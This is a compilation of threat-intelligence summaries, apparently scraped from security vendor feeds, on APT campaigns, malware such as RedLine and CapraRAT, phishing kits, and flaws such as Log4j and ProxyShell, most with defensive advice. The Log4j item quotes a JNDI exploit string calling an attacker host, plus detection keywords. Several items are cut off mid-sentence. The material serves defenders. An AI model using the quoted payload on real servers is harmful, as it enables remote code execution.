What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors?
(published: February 9, 2022)
A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets.
Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel.

Fake Windows 11 Upgrade Installers Infect You With RedLine Malware
(published: February 9, 2022)
Due to the recent announcement of Windows 11 upgrade availability, an unknown threat actor has registered a domain to trick users into downloading an installer that contains RedLine malware. The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more.
Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack.

New CapraRAT Android Malware Targets Indian Government and Military Personnel
(published: February 7, 2022)
Trend Micro researchers have discovered a new remote access trojan (RAT) dubbed, CapraRAT, that targets Android systems. CapraRAT is attributed to the advanced persistent threat (APT) group, APT36 (Earth Karkaddan, Mythic Leopard, Transparent Tribe), which is believed to be Pakistan-based group that has been active since at least 2016. The Android-targeting CapraRAT shares similarities (capabilities, commands, and function names) to the Windows targeting Crimson RAT, and researchers note that it may be a modified version of the open source AndroRAT. The delivery method of CapraRAT is unknown, however, APT36 is known to use spearphishing emails with attachments or links. Once CapraRAT is installed and executed it will attempt to reach out to a command and control server and subsequently begin stealing various data from an infected device.
Analyst Comment: It is important to only use the Google Play Store to obtain your software (for Android users), and avoid installing software from unverified sources because it is easier for malicious applications to get into third-party stores. Applications that ask for additional permissions outside of their normal functionality should be treated with suspicion, and normal functionality for the applications should be reviewed carefully prior to installation. Antivirus applications, if available, should be installed devices.

Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
(published: February 3, 2022)
The Russia-sponsored, cyberespionage group Primitive Bear (Gamaredon) has continued updating its toolset, according to Unit 42 researchers. The group continues to use their primary tactic in spearphishing emails with attachments that leverage remote templates and template injection with a focus on Ukraine. These email attachments are usually Microsoft Word documents that use the remote template to fetch VBScript, execute it to establish persistence, and wait for the group’s instruction via a command and control server. Unit 42 researchers have analyzed the group’s activity and infrastructure dating back to 2018 up to the current border tensions between Russia and Ukraine. The infrastructure behind the campaigns is robust, with clusters of domains that are rotated and parked on different IPs, often on a daily basis.
Analyst Comment: Spearphishing emails represent a significant security risk because the sending email will often appear legitimate to the target; sometimes a target company email is compromis |

[Heads Up] Beware of New QuickBooks Payment Scams
Many small and mid-sized companies use Intuit's popular QuickBooks program. They usually start out using its easy-to-use base accounting program and then the QuickBooks program aggressively pushes other complimentary features. One of those add-on features is the ability to send customers' invoices via email.
The payee can click on a “Review and pay” button in the email to pay the invoice. It used to be a free, but less mature, feature years ago, but these days, it costs extra. Still, if you are using QuickBooks for your accounting, the ability to generate, send, receive and electronically track invoices all in one place is a pretty easy sell.
Unfortunately, phishing criminals are using QuickBooks' popularity to send business email compromise (BEC) scams. The emails appear as if they are coming from a legitimate vendor using QuickBooks, but if the potential victim takes the bait, the invoice they pay will be to the scammer.
Worse, the payment request can require that the payee use ACH (automated clearing house) method, which requires the payee to input their bank account details. So, if the victim falls for the scam, the criminal now has their bank account information. Not good.
Note: Some other QuickBooks scam warnings will tell you that QuickBooks will never ask for your ACH or banking details. This is not completely true. QuickBooks, the company and its support staff, never will, but QuickBooks email payment requests often do. Warn your users in Accounting.

Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.

A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard
(published: December 27, 2021)
Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug).
Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions
(published: December 16, 2021)
Check Point Research has uncovered a new variant of the Phorpiex botnet named Twizt. Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role.
Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

APT37 is a nation-state threat actor attributed to North Korea. The latest discovery by researchers at Kaspersky Labs has revealed a sophisticated, targeted attack that utilizes the stolen credentials from Facebook and email accounts belonging to an associate of the targeted victim.The victim was socially engineered and compelled into opening rar zipped attachments purporting to be from the trusted sender that contained a malicious Word document. The Word document is multi stage in design, and uses a malicious macro to initiate the first stage. The first stage detects the presence of AV software, and if AV is not present will initiate the second stage which is a shellcode that will download the final third stage payload.Ultimately, after several months of dwelling undetected on the infected system, the backdoor will then download the multiplatform infostealer, "Chinotto." Windows variants were sent via spearphishing emails and Android variants were sent via SMShing texts.What Operating Systems are Affected?Chinoto targets Windows and Android based operating systems.Is This Limited to Targeted Attacks?Yes.How Serious of an Issue is This?Medium.What is APT37?APT37 (also known as GROUP123 and Scarcruft), attributed to North Korean threat actors, has been in operation for several years. During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department.

Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer
(published: November 8, 2021)
US Cybersecurity and Infrastructure Security Agency (CISA) has released an alert about advanced persistent threat (APT) actors exploiting vulnerability in self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus. PaloAlto, Microsoft & Lumen Technologies did a joint effort to track, analyse and mitigate this threat. The attack deployed a webshell and created a registry key for persistence. The actor leveraged leased infrastructure in the US to scan hundreds of organizations and compromised at least nine global organizations across technology, defense, healthcare and education industries.
Analyst Comment: This actor has used some unique techniques in these attacks including: a blockchain based legitimate remote control application, and credential stealing tool which hooks specific functions from the LSASS process. It’s important to make sure your EDR solution is configured to and supports detecting such advanced techniques in order to detect such attacks.

Russian Cyberattacks Pose Greater Risk to Governments and Other Insights from Our Annual Report
(published: October 7, 2021)
Approximately 58% of all nation-state attacks observed by Microsoft between July 2020 and June 2021 have been attributed to the Russian-sponsored threat groups, specifically to Cozy Bear (APT29, Nobelium) associated with the Russian Foreign Intelligence Service (SVR). The United States, Ukraine, and the UK were the top three targeted by them. Russian Advanced Persistent Threat (APT) actors increased their effectiveness from a 21% successful compromise rate to a 32% rate comparing year to year. They achieve it by starting an attack with supply-chain compromise, utilizing effective tools such as web shells, and increasing their skills with the cloud environment targeting. Russian APTs are increasingly targeting government agencies for intelligence gathering, which jumped from 3% of their targets a year ago to 53% – largely agencies involved in foreign policy, national security, or defense. Following Russia by the number of APT cyberattacks were North Korea (23%), Iran (11%), and China (8%).
Analyst Comment: As the collection of intrusions for potential disruption operations via critical infrastructure attacks became too risky for Russia, it refocused back to gaining access to and harvesting intelligence. The scale and growing effectiveness of the cyberespionage requires a defence-in-depth approach and tools such as Anomali Match that provide real-time forensics capability to identify potential breaches and known actor attributions.

2021-10-06 19:06:00 | Inside TeamTNT\'s Impressive Arsenal: A Look Into A TeamTNT Server (lien direct) | Authored By: Tara Gould
Key Findings
Anomali Threat Research has discovered an open server to a directory listing that we attribute with high confidence to the German-speaking threat group, TeamTNT.
The server contains source code, scripts, binaries, and cryptominers targeting Cloud environments.
Other server contents include Amazon Web Services (AWS) Credentials stolen from TeamTNT stealers are also hosted on the server.
This inside view of TeamTNT infrastructure and tools in use can help security operations teams to improve detection capabilities for related attacks, whether coming directly from TeamTNT or other cybercrime groups leveraging their tools.
Overview
Anomali Threat Research has identified a TeamTNT server open to directory listing. The server was used to serve scripts and binaries that TeamTNT use in their attacks, and also for the IRC communications for their bot. The directory appears to have been in use since at least August 2021 and was in use as of October 5, 2021. The contents of the directory contain metadata, scripts, source code, and stolen credentials.
TeamTNT is a German-speaking, cryptojacking threat group that targets cloud environments. The group typically uses cryptojacking malware and have been active since at least April 2020.[1] TeamTNT activity throughout 2021 has targeted AWS, Docker, GCP, Linux, Kubernetes, and Windows, which corresponds to usual TeamTNT activity.[2]
Technical Analysis
Scripts (/cmd/)
Figure 1 - Overview of /cmd/
Contained on the server are approximately 50 scripts, most of which are already documented, located in the /cmd/ directory. The objective of the scripts vary and include the following:
AWS Credential Stealer
Diamorphine Rootkit
IP Scanners
Mountsploit
Scripts to set up utils
Scripts to setup miners
Scripts to remove previous miners
Figure 2 - Snippet of AWS Credential Stealer Script
Some notable scripts, for example, is the script that steals AWS EC2 credentials, shown above in Figure 2. The AWS access key, secret key, and token are piped into a text file that is uploaded to the Command and Control (C2) server.
Figure 3 - Chimaera_Kubernetes_root_PayLoad_2.sh
Another interesting script is shown in Figure 3 above, which checks the architecture of the system, and retrieves the XMRig miner version for that architecture from another open TeamTNT server, 85.214.149[.]236.
Binaries (/bin/)
Figure 4 - Overview of /bin
Within the /bin/ folder, shown in Figure 4 above, there is a collection of malicious binaries and utilities that TeamTNT use in their operations.
Among the files are well-known samples that are attributed to TeamTNT, including the Tsunami backdoor and a XMRig cryptominer. Some of the tools have the source code located on the server, such as TeamTNT Bot. The folder /a.t.b contains the source code for the TeamTNT bot, shown in Figures 5 and 6 below. In addition, the same binaries have been found on a TeamTNT Docker, noted in Appendix A.

Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.

Actively Exploited Bug Bypasses Authentication On Millions Of Routers
(published: August 7, 2021)
The ongoing attacks were discovered by Juniper Threat Labs researchers exploiting recently discovered vulnerability CVE-2021-20090. This is a critical path traversal vulnerability in the web interfaces of routers with Arcadyan firmware that could allow unauthenticated remote attackers to bypass authentication. The total number of devices exposed to attacks likely reaches millions of routers. Researchers identified attacks originating from China and are deploying a variant of Mirai botnet on vulnerable routers.
Analyst Comment: Attackers have continuous and automated routines to look out for publicly accessible vulnerable routers and exploit them as soon as the exploit is made public. To reduce the attack surface, routers management console should only be accessible from specific public IP addresses. Also default password and other security policies should be changed to make it more secure.

Windows “PetitPotam” Network Attack – How to Protect Against It
(published: July 21, 2021)
Microsoft has released mitigations for a new Windows vulnerability called PetitPotam. Security researcher, Gillesl Lionel, created a proof-of-concept script that abuses Microsoft’s NT Lan Manager (NTLM) protocol called MS-EFSRPC (encrypting file system remote protocol). PetitPotam can only work if certain system functions that are enabled if the following conditions are met: NTLM authentication is enabled on domain, active directory certificate services (AD CS) is being used, certificate authority web enrollment or certificate enrollment we service are enabled. Exploitation can result in a NTLM relay attack, which is a type of man-in-the-middle attack.
Analyst Comment: Microsoft has provided mitigation steps to this attack which includes disabling NTLM on a potentially affected domain, in addition to others.

UK and Allies Accuse China for a Pervasive Pattern of Hacking, Breaching Microsoft Exchange Servers
(published: July 19, 2021)
On July 19th, 2021, the US, the UK, and other global allies jointly accused China in a pattern of aggressive malicious cyber activity. First, they confirmed that Chinese state-backed actors (previously identified under the group name Hafnium) were responsible for gaining access to computer networks around the world via Microsoft Exchange servers. The attacks took place in early 2021, affecting over a quarter of a million servers worldwide. Additionally, APT31 (Judgement Panda) and APT40 (Kryptonite Panda) were attributed to Chinese Ministry of State Security (MSS), The US Department of Justice (DoJ) has indicted four APT40 members, and the Cybersecurity and Infrastructure Security Agency (CISA) shared indicators of compromise of the historic APT40 activity.
Analyst Comment: Network defense-in-depth and adherence to information security best practices can assist organizations in reducing the risk. Pay special attention to the patch and vulnerability management, protecting credentials, and continuing network hygiene and monitoring. When possible, enforce the principle of least privilege, use segmentation and strict access control measures for critical data.

Global Phishing Campaign Targets Energy Sector and Its Suppliers
(published: July 8, 2021)
Researchers at Intezer have identified a year-long global phishing campaign targeting the energy, oil and gas, and electronics industry. The threat actors use spoofed or typosquatting emails to deliver an IMG, ISO or CAB file containing an infostealer, typically FormBook, and Agent Tesla. The emails are made to look as if they are coming from another company in the same sector, with the IMG/ISO/CAB file attached, which when opened contains a malicious executable. Once executed, the malware is loaded into memory, helping to evade detection from anti-virus. The campaign appears to be targeting Germany, South Korea, United States, and United Arab Emirates (UAE).
Analyst Comment: All employees should be educated on the risks of phishing, specifically, how to identify such attempts and whom to contact if a phishing attack is identified. It may also be useful for employees to stop using email attachments, in favor of a cloud file hosting service.

SideCopy Cybercriminals Use New Custom Trojans in Attacks Against India's Military
(published: July 7, 2021)
SideCopy, an advanced persistent threat (APT) group, has expanded its activities and new trojans are being used in campaigns across India accordingaccodring Talos Intelligence. This APT group has been active since at least 2019 and appears to focus on targets of value in cyberespionage. SideCopy have also taken cues from Transparent Tribe (also known as PROJECTM, APT36) in how it uses tools and techniques against the targets. These targets include multiple units of the Indian military and government officials.
Analyst Comment: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

2021-07-06 10:00:00 | Lazarus campaign TTPs and evolution (lien direct) |
Executive summary
AT&T Alien Labs™ has observed new activity that has been attributed to the Lazarus adversary group potentially targeting engineering job candidates and/or employees in classified engineering roles within the U.S. and Europe. This assessment is based on malicious documents believed to have been delivered by Lazarus during the last few months (spring 2021). However, historical analysis shows the lures used in this campaign to be in line with others used to target these groups.
The purpose of this blog is to share the new technical intelligence and provide detection options for defenders. Alien Labs will continue to report on any noteworthy changes.
Key Takeaways:
Lazarus has been identified targeting defense contractors with malicious documents.
There is a high emphasis on renaming system utilities (Certutil and Explorer) to obfuscate the adversary’s activities (T1036.003).
Background
Since 2009, the known tools and capabilities believed to have been used by the Lazarus Group include DDoS botnets, keyloggers, remote access tools (RATs), and drive wiper malware. The most publicly documented malware and tools used by the group actors include Destover, Duuzer, and Hangman.
Analysis
Several documents identified from May to June 2021 by Twitter users were identified as being linked to the Lazarus group. Documents observed in previous campaigns lured victims with job opportunities for Boeing and BAE systems. These new documents include:
Rheinmetall_job_requirements.doc: identified by ESET Research.
General_motors_cars.doc: identified by Twitter user @1nternaut.
Airbus_job_opportunity_confidential.doc: identified by 360CoreSec.
The documents attempted to impersonate new defense contractors and engineering companies like Airbus, General Motors (GM), and Rheinmetall. All of these documents contain macro malware, which has been developed and improved during the course of this campaign and from one target to another. The core techniques for the three malicious documents are the same, but the attackers attempted to reduce the potential detections and increase the faculties of the macros.
First iteration: Rheinmetall
The first two documents from early May 2021 were related to a German Engineering company focused on the defense and automotive industries, Rheinmetall. The second malicious document appears to include more elaborate content, which may have resulted in the documents going unnoticed by victims.
The Macro has base64 encoded files, which are extracted and decoded during execution. Some of the files are split inside the Macro and are not combined until the time of decoding. One of the most distinctive characteristics of this Macro is how it evades detections of a MZ header encoded in base64 (TVoA, TVpB, TVpQ, TVqA, TVqQ or TVro), by separating the first two characters from the rest of the content, as seen in Figure 1.
Figure 1: Concealing of MZ header, as captured by Alien Labs.
The rest of the content is kept together in lines of 64 characters, and because of this, YARA rules can be used to detect other, typical executable content encoded in base64 aside of the MZ header. In this case, up to nine different YARA rules alerted to suspicious encoded strings in our Alien Labs analysis, like VirtualProtect, GetProcAddress, IsDe |

Microsoft Signed a Malicious Netfilter Rootkit
(published: June 25, 2021)
Security researchers recently discovered a malicious netfilter driver that is signed by a valid Microsoft signing certificate. The files were initially thought to be a false positive due to the valid signing, but further inspection revealed that the malicious driver called out to a Chinese IP. Further research has analyzed the malware, dropper, and Command and Control (C2) commands. Microsoft is still investigating this incident, but has clarified that they did approve the signing of the driver.
Analyst Comment: Malware signed by a trusted source is a threat vector that can be easily missed, as organizations may be tempted to not inspect files from a trusted source. It is important for organizations to have network monitoring as part of their defenses. Additionally, the signing certificate used was quite old, so review and/or expiration of old certificates could prevent this malware from running.

Andariel Evolves to Target South Korea with Ransomware
(published: June 15, 2021)
Researchers at securelist identified ransomware attacks from Andariel, a sub-group of Lazarus targeting South Korea. Attack victims included entities from manufacturing, home network service, media and construction sectors. These attacks involved malicious Microsoft Word documents containing a macro and used novel techniques to implant a multi-stage payload. The final payload was a ransomware custom made for this specific attack.
Analyst Comment: Users should be wary of documents that request Macros to be enabled. All employees should be educated on the risk of opening attachments from unknown senders. Anti-spam and antivirus protections should be implemented and kept up-to-date with the latest version to better ensure security.

Matanbuchus: Malware-as-a-Service with Demonic Intentions
(published: June 15, 2021)
In February 2021, BelialDemon advertised a new malware-as-a-service (MaaS) called Matanbuchus Loader and charged an initial rental price of $2,500. Malware loaders are malicious software that typically drop or pull down second-stage malware from command and control (C2) infrastructures.
Analyst Comment: Malware as a Service (MaaS) is a relatively new development, which opens the doors of crime to anyone with the money to pay for access. A criminal organization that wants to carry out a malware attack on a target no longer requires in-house technical expertise or infrastructure. Such attacks in most cases share tactics, techniques, and even IOCs. This highlights the importance of intelligence sharing for proactive protection.

New Sophisticated Email-based Attack From NOBELIUM
(published: May 28, 2021)
NOBELIUM, the threat actor behind SolarWinds attacks, has been conducting a widespread email campaign against more than 150 organizations. Using attached HTML files containing JavaScript, the email will write an ISO file to disk; this contains a Cobalt Strike beacon that will activate on completion. Once detonated, the attackers have persistent access to a victims’ system for additional objectives such as data harvesting/exfiltration, monitoring, and lateral movement.
Analyst Comment: Be sure to update and monitor email filter rules constantly. As noted in the report, many organizations managed to block these malicious emails; however, some payloads successfully bypassed cloud security due to incorrect/poorly implemented filter rules.

Evolution of JSWorm Ransomware
(published: May 25, 2021)
JSWorm ransomware was discovered in 2019, and since then different variants have gained notoriety under different names such as Nemty, Nefilim, and Offwhite, among others. It has been used to target multiple industries with the largest concentration in engineering, and others including finance, healthcare, and energy. While the underlying code has been rewritten from C++ to Golang (and back again), along with revolving distribution methods, JSWorm remains a consistent threat.
Analyst Comment: Ransomware threats often affect organisations in two ways. First encrypting operational critical documents and data. In these cases EDR solutions will help to block potential Ransomwares and data backup solutions will help for restoring files in case an attack is successful. Secondly, sensitive customer and business files are exfiltrated and leaked online by ransomware gangs. DLP solutions will help to identify and block potential data exfiltration attempts. Whereas network segregation and encryption of critical data will play an important role in reducing the risk.

Cross-Browser Tracking Vulnerability Tracks You Via Installed Apps
(published: May 14, 2021)
A new method of fingerprinting users has been developed using any browser. Using URL schemes, certain applications can be launched from the browser. With this knowledge, an attacker can flood a client with multiple URL schemes to determine installed applications and create a fingerprint. Google Chrome has certain protections against this attack, but a workaround exists when using the built-in PDF viewer; this resets a flag used for flood protection. The only known protection against scheme flooding is to use browsers across multiple devices.
Analyst Comment: It is critical that the latest security patches be applied as soon as possible to the web browser used by your company. Vulnerabilities are discovered relatively frequently, and it is paramount to install the security patches because the vulnerabilities are often posted to open sources where any malicious actor could attempt to mimic the techniques that are described.

Threat Actors Use MSBuild to Deliver RATs Filelessly
(published: May 13, 2021)
Anomali Threat Research have identified a campaign in which threat actors are using MSBuild project files to deliver malware. The project files contain a payload, either Remcos RAT, RedLine, or QuasarRAT, with shellcode used to inject that payload into memory. Using this technique the malware is delivered filelessly, allowing the malware to evade detection.
Analyst Comment: Threat actors are always looking for new ways to evade detection. Users should make use of a runtime protection solution that can detect memory based attacks.
